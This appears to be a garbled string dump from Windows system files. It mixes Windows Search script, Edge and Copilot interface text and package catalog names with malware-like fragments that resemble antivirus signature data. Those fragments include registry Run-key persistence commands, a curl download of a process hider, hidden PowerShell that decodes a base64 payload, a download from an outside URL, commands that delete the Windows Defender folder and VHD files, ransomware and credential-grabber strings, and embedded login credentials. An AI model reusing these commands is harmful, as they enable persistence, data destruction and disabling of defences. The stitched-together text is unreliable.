n.getScope(f)==n.Scope.Emails&&!i.hc?!1:n.RuntimeConfig.QfMode!=11&&n.RuntimeConfig.AlwaysWide&&!i.previewPaneType?!1:n.RuntimeConfig.QfMode==12&&i.dataSource=="Web"?!1:!0}createFeatureStore(t,i,r,u,f,e,o,s,h){let v=[],y=0,g=0,p=0,w=t.queryToFetch.toLocaleLowerCase(),ft=t=>n.getGroupType(t),[nt,et]=n.getSumMruLaunches(u),ot=n.getLastLaunchTimeForPrefix(u),tt=0,it={};if(u){let t=n.evaluateGroupLaunches(u);tt=t.otherGroupLaunches;it=t.groupLaunches}let rt=n.computeGroupBackpropagatedClicks(t.queryToFetch,h),st=n.computeSuggestionBackpropagatedClicks(t.queryToFetch,h);for(let t of i)if(t.handoffType==2){let i=n.getAppItem(t);i&&(g+=i.totalLaunches,i.totalLaunches>y&&(y=i.totalLaunches));t.deviceItem&&t.deviceItem.rankScore>p&&(p=t.deviceItem.rankScore)}let l={};n.isWeekend()&&(l[440]=1);l[441]=this.getLocalHourBucket(new Date);let a=w.split(" ");for(let n of a){if(n=="install"){l[451]=1;break}if(n=="uninstall"){l[450]=1;break}}if(a&&a.length>0){let n=a[0];l[452]=n.indexOf("c:")>-1||n.indexOf("d:")>-1||n.indexOf("e:")>-1||n.indexOf("f:")>-1?1:0}let c={},b=0,k=0,d=0;for(let h of i){let i=this.getSuggestionFeatureStore(w,h,f,r,g,o);i[13]=y;i[7]=p;r&&r.WebSignalsAvailable&&(i[93]=1);n.config.suppressWebMruSignals&&(n.isWebSuggestion(h)||h.isAnswer)||(n.setMRUSignal(n.getSuggestionKey(h),i,u,nt,ot,et),this.setMRUGroupLaunchRatios(i,h,nt,it,tt,s),n.setMRUBackPropSignal(n.getSuggestionKey(h),i,st),r$`@
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and sP
%windir%\tpup.exec:\windows\tpup.exevc20xc00u
qodnvd.com.cn_mutexuninstal.batsoftware\microsoft\windows\currentversion\policies\winoldapp
PSModulePath=C:\Program Files\WindowsPowerShell\.
s;C:\WINDOWS\system32.
OS=Windows_NT
LOGONSERVER=\\WINDOWS11
windows-1252
temRoot%\system32\mswsock.dl
 prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
WindowsCalculator
Microsoft Windows3
    "kfmWindowScanningText":  "Scanning...",
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
Cwindows verK
WINDOWS\system32;
^windows.aboveLockScree1
!Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!Ap
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Global.WindowsOobeAppHost.AppX05dbt8nqg2my7an1972z1krx3ezgsqph.mcaL
 @onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\heat\client\api.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\heat\client\heatgripserviceproxy.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\heat\client\heatgripserviceclient.cpp
onecoreuap\windows\moderncore\inputv2\utilities\panelhelper\panelhelper.cpp
onecoreuap\windows\moderncore\inputv2\components\inputobservers\client\baseinputobserverclient.cpp
onecoreuap\windows\moderncore\inputv2\Components\InputObservers\inc\InputObserverCapabilities.h
.cmdabcdefghijklmnopqrstuvwxyz0123456789c:\windows\system32\shell32.dllc:\windows\system32\cmd.exec:\windows\system32\cmd.exec:\windows\system32\shell32.dllc:\windows\system32\shell32.dll
-BWindows searchesL
-Bhow Windows searches
-Badjust|ajust|alter|change|edit|modify|replace|reset|set|switch|finder|indexing|reindex|re-index|searches|searching|confg|configuration|configure|define|management|options|personalise|personalize|up|settings|setup|vista|windows|windw|7|@
reading|screan|readers|screenreader|windows|narrator|C
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse"C
{\windows\S
."!%systemroot%\system32\shell32.dll
curlhttp://m.windowsupdatesupport.org/d/processhider.c-opr
Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS
Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/8.0; Touch; rv:11
n8cryptopp12cast128_infoet%p %d v=%0x h=%p %s[task] outputting to send file:[task] comms lib active, performing tasking checks[task] attempting to get ownership of mutex:c:\program files\windows nt\history.jpgBehavior:Win32/SuspEdgeTempDrop.A
mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/108.0.0.0 safari/537.36 edg/108.0.1462.54g
-windowstylehidden
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Foundation.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Foundation.Collections.h
Windows::UI::Text::Core::CLayoutRequest::GetTranslatedLayoutBounds
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
image/x-windows-bmp
Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
{$IFDEF MSWINDOWS}
c:\windows\installmsn.exe
@.fileexists("c:\windows\update.bat")then
software\microsoft\windows\currentversion\explorer\browser helper objects\{b0b678d8-ecb3-4fd6-a8d7-9f0f6c03c5ff}upspider.com\windows\system32\dcbsystem32\dl07.dll
software\microsoft\internet explorer\new windows\allowcreatemutexa
getwindowsdirectorya
qmgr.dllsystem\currentcontrolset\services\bits\parameterslog.log\software\microsoft\windows\currentversion\winxpmemorycoolvibesbitdefendermcafee personal firewalldesconocidoopenurlcapscreenhkey_current_configresumetransfer
windows
software\microsoft\windows\currentversion\explorer\shell foldersc:\nmdelm.batrundll32.exe c:\windows\system32\mycc080
SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
ircd.zief.plsoftware\microsoft\windows\currentversion\explorertargethostjoinnick user o noon of life! o time to celebrate!o summer garden!relentlessly happy and expectant, standing: -watching all day and night, for friends i wait:where are you, friends? come! it is time! it's late!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
,@windowsdir,@sw_hide)run($
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-Licenses-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Windows-ClientCore-Win32Bridge-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
bot killed: %sscan: all scan threads stopped. %d killedstatistics: exploits:system: %s [cpu: %i x %s @ %dmhz]%s http: %d%s; daemons:http://%s:%d/%snet: ip: %s host: %sscan: unknown exploit.192.168.*.*170.65.*.*[os: microsoft windows %s %s (%i.%i build %i)http: transfer: %d.%d.%d.%dif exist "%s" goto 1scn.bgnscn.endscn.statswindows nt4, 2000 (sp0-sp4)windows xp (sp0+sp1)
winlogondown_1_filedown conf:wacleventlogonprotect second:down filezhttp\shell\open\commandcontent-type:spisok okpj
OPEN=Death.exeshellexecute=Death.exeshell\Auto\command=Death.exeC:\hosts\SoftWare\Microsoft\Windows\CurrentVersion\Runnet stop server /yc:\pass.dicWNetAddConnection2ANetScheduleJobAddNetShareEnum
C:\WINDOWS\shared\deflate 1.2.3 Copyright 1995
netsh firewall set allowedprogram %s enablehttp://windowsupdate.microsoft.com/currentsystemhandlerto mx (err #%i)\currentversion\winoptif exist "%s" goto repeat\%i%i%i2ld.exe208.66.194.9%rnd_hex%rnd_num%rnd_digitno mailbox here
>> temp.reg echo [hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon]
add hklm\software\microsoft\windows\currentversion\run /v services /d
windows
windows
start /wait regedit /s temp.reg:\windows\services.exe /fdel temp.regreg
\system32\
\system32\audit.exe\system32\winsys.exe
Bcontent-disposition: form-data; name="tracelog"content-disposition: form-data; name="emails"152.2.21.1209.81.7.11http://%d.%d.%d.%d:%d/!smtp_start_2http://%d.%d.%d.%d:%d/%d/%d/%d/%d/%d/%d/x-good: %d:%s!smtp_send!read_errorfloppy masterthreads=%h:%m:%sx-confirm: %d:%s\currentversion\internet settingsmozilla/%d.%d (compatible; msie %d.%d; windows nt %d.%d);p
windows
systsystem32
8qelementclientpass=user=software\microsoft\windows\subject
1--__abcd-xyz789__--ffgrabberiefakeriegrabberiemodpsgrabbergetmodinfoexecuteactivatecontent-disposition: form-data; name=content-length: %dcontent-type: multipart/form-data; boundary=%sshell\open\commandcertgrabberzwmapviewofsectionsoftware\clients\startmenuinternet%programfiles%\outlook express\wab.exesoftware\microsoft\windows\currentversion\explorer\sharedtaskscheduler
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
WindowsVersion
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
	WINDOWS\system32\cmd.exe.
USERDOMAIN_ROAMINGPROFILE=Windows11'
DriverData=C:\Windows\System32\
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
ULOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
_2048WindowsFormsApp.RulesOfTheGameForm.resourcesmapSize5x5ToolStripMenuItem_ClickAllScoresForm_Loadget_text_x_rpm_specCASCX
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-CoreSystem-WinTrust-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-TerminalServices-CommandLineTools-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-CoreSystem-WinTrust-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
@windowsdir&"\svhost.exe"
Windows.Client.CBS_cw5n1h2txyewy!9
WindowsCreateStringReference
GetSystemWindowsDirectoryW
reg add "hkey_current_user\software\microsoft\windows\currentversion\run" /v "allkeeper" /t reg_sz /d hermesjdskfngrjtby5ntoivtmovrkmekvmclkvcvtrgbybtdklfevlkbrlevrdecrypt_information.htmldel /s /f /q c:\*.vhd	
!HideWindows.C
goog1e.http://%s:%d/%s%d%08dindex.asp?\System32\drivers\
windowsvuptime
ProjectWindowsForms.Form1.resourcesP
ProjectWindowsForms.Properties.ResourcesP
$:\Windows\UpdateDecrypter.exe:
\Windows\ransomback.png\
PC:\WINDOWS\system32\shdocvw.oca!#HSTR:Trojan:MSIL/AgentTesla.AAD55!MTB
temRoot%\system32\mswsock.dll
52^com.microsoft.windows.telemetryid
53^com.microsoft.windows.extensionpackage
54^com.microsoft.windows.extensionpackage
ges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\ExtensionActivityComp
teOData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\ExtensionActivityComp
msEdgeWindowsEnergySaverAvail
GetProcessWindowStation
s.Sleeping tabs is turned off by your organization.hereMinimize power usage and $1save an average of 27% CPU.Savings may depend on your device, applications and individual browser habits. $1Save battery and $1 anytime you are unplugged.browse for on average 25 minutes longerYou're minimizing power usage and saving CPU! $1You're saving battery and browsing longer! $1Memory savings$1 GB saved by sleeping tabs$1 GB saved by sleeping tabs on average.Save memory with sleeping tabs$1 GB remaining in sleeping tabsSave power with energy saverSave battery with energy saverEfficiency mode saves resources for other applications. If you use a laptop, it'll help you browse for 25 minutes longer on average.Save resources with sleeping tabsContinue to browse and we'll keep track of tabs that you're not using and put them to sleep to save resources, get better speed, and responsiveness.None of your tabs are sleeping yet1 tab is sleeping to save resources$1 tabs are sleeping to save resourcesTabs performanceHealthyUnhealthy - High usageHigh memory usage detectedHigh CPU usage detectedHigh memory and CPU usage detectedIE REACTIVATION dialogThis website doesn't work with Internet ExplorerThis website works better on Microsoft EdgeMicrosoft recommends continuing in Microsoft Edge to experience better speed, performance, and security.Continue browsingYou're now browsing in Microsoft EdgeAvoid interruptions by bringing my browsing data and preferences from Internet Explorer whenever this happensClose InPrivate windows?InPrivate windows must be closed to access Settings. Would you like to close them now?Credentials requiredTo enable Sync on Xbox you must enter your PIN.Primary password requiredPlease authenticate yourself with your primary passwordPrimary passwordAuthentication failed. Please try again.Authentication failed. Please try again later. If the issue persists, try signing out or signing in from your Edge profile.Your custom primary password will be removed after you authenticate.This setup doesn't let your organization use any personal info on your device. It helps your organization protect organizational data accessed with this profile.Let's set up your profile to access org resourcesTo access your data associated with this account, your organization requires this device to be registered with Microsoft Entra. Choose "Retry" to go back and then choose "Ok" to register with Microsoft Entra.Edge Application ManagementEdge Certificate ServiceCanaryDevBetaInternalResizerUse the arrow keys to resize the paneSide paneSide pane $1Other devicesPin this page to Start screen&Delete browsing dataHelp via &CopilotThis file is not commonly downloaded and might be dangerous.This type of file might harm your computer.This file can't be downloaded securelyKeep unsafe file?This file was blocked as unsafe by Microsoft Defender Smartscreen.Notifications were automatically blocked on this site as it tried showing notifications without any site interaction.We
	windowsdefender"\msmpeng-
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
??0QWindowStateChangeEvent@@QEAA@AEBV0@@Z
??0QWindowStateChangeEvent@@QEAA@V?$QFlags@W4WindowState@Qt@@@@_N@Z
??0QWindowSystemEventHandler@@QEAA@AEBV0@@Z
??0QWindowSystemEventHandler@@QEAA@XZ
??0TabletEvent@QWindowSystemInterfacePrivate@@QEAA@$$QEAV01@@Z
??0TabletEvent@QWindowSystemInterfacePrivate@@QEAA@AEBV01@@Z
??0TabletEvent@QWindowSystemInterfacePrivate@@QEAA@PEAVQWindow@@KAEBVQPointF@@1HHV?$QFlags@W4MouseButton@Qt@@@@NHHNNH_JV?$QFlags@W4Ke
WindowsBase
Ddummypostforsuperbatwindows security alerthidden process requests network accessallow all activities for this applicationclearpwd(westpac.*.emlkasperskysymantecbankingcitibank.\etc\hostspop3 passwordmanager\accounts
WindowsFeedback
WindowsF
WindowsFeedback
Microsoft.Windows.RT.LocationRequest.TimeToFirstPosition
User has not allowed access to Windows Location.
Location api is not available on this version of Windows.
Failed to get a coordinate from getposition from windows geolocation api. HRESULT: 
Consentless Geolocation API is not supported on Windows version: 
Consentless Geolocation API is supported on Windows version: 
onecoreuap\shell\windows.storage.search\autolist.cpp
>`onecoreuap\shell\windows.storage.search\composition.cpp
connect suc begin recvUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/20100719 Firefox/1.0.7\
Windows Title:%s
c:\r1windows<*windowsv1system32>*system32b2rundll32.exef*rundll32.exei\&^^&^&^^&^&^&&^&^&^&&^^&^&^&&^&^&^&^^&^&^^&^&&&.{a128a94c-2c02-4f57-a5c0-0612079d714b}
 charset=windows-1251
z#WindowsUpdatawhereAmIi
windows_welcome.experience_%
20170502160306\windows\system32\wmipd.dll%s://+:%d%spp/self uninstall!#HSTR:VirTool:Win32/Obfuscator.EW_2
.exe\\%%a-u"itamana.net\mbajunaid"-p"plwsr2mt12st115519864"-s-dc:\\windows\\temp\\services.exe-accepteula
cmd.exe /c reg add hkey_current_user\software\microsoft\windows\currentversion\run /v 
FILEEXISTS ( @HOMEDRIVE & "\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeF
OutlookforWindows
Microsoft.Windows.AppResolverUX
gwindowsregistryeditorversion5.00[hkey_local_machine\system\controlset001\services\winmgmt\parameters]"servicedll"=hex(2):
Windows@ABI
"Windows"@
OS=Windows_NT
L!AGroup:CreateProcess_Common_Windows_
c:\windows\
s"http://7d.wf:8080/bey/lvwbwvtz992yweaqql18wvokpgxqijgpj/%computername%"p^y^e^w^x=b^x-q^n^utk^e=^on^a^l^hk^am%windir%\system32\shell32.dll
add-type-referencedassemblies"system.drawing.dll","system.web.extensions.dll","system.windows.forms.dll"-typedefinition
cpowershell-windowstylehiddenstart-sleep2;$
>>bsod.htaechomaximizebutton="no">>bsod.htaechominimizebutton="no">>bsod.htaechosysmenu="no">>bsod.htaechocaption="no">>bsod.htaechowindowstate="maximize"
@WindowsD
henticatorWindowsPlugin`
Microsoft-Windows-PEAuth-OneCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
WindowsApp
WindowsIdentity
Windows.Storage.dll
Microsoft.Windows.CDP.Service
Microsoft.Windows.CDP.Session
windows
@shift/0@echooff%windir%\syswow64\windowspowershell\v1.0\powershell.exe-noprofile-executionpolicybypass-command"invoke-expression$(new-objectio.streamreader($(new-objectio.compression.deflatestream($(new-objectio.memorystream(,$([convert]::frombase64string(\"
/file('https://abouthemes.com/rackspace.php',$path);c:\windows\c
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
EnumWindows_Renamed
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
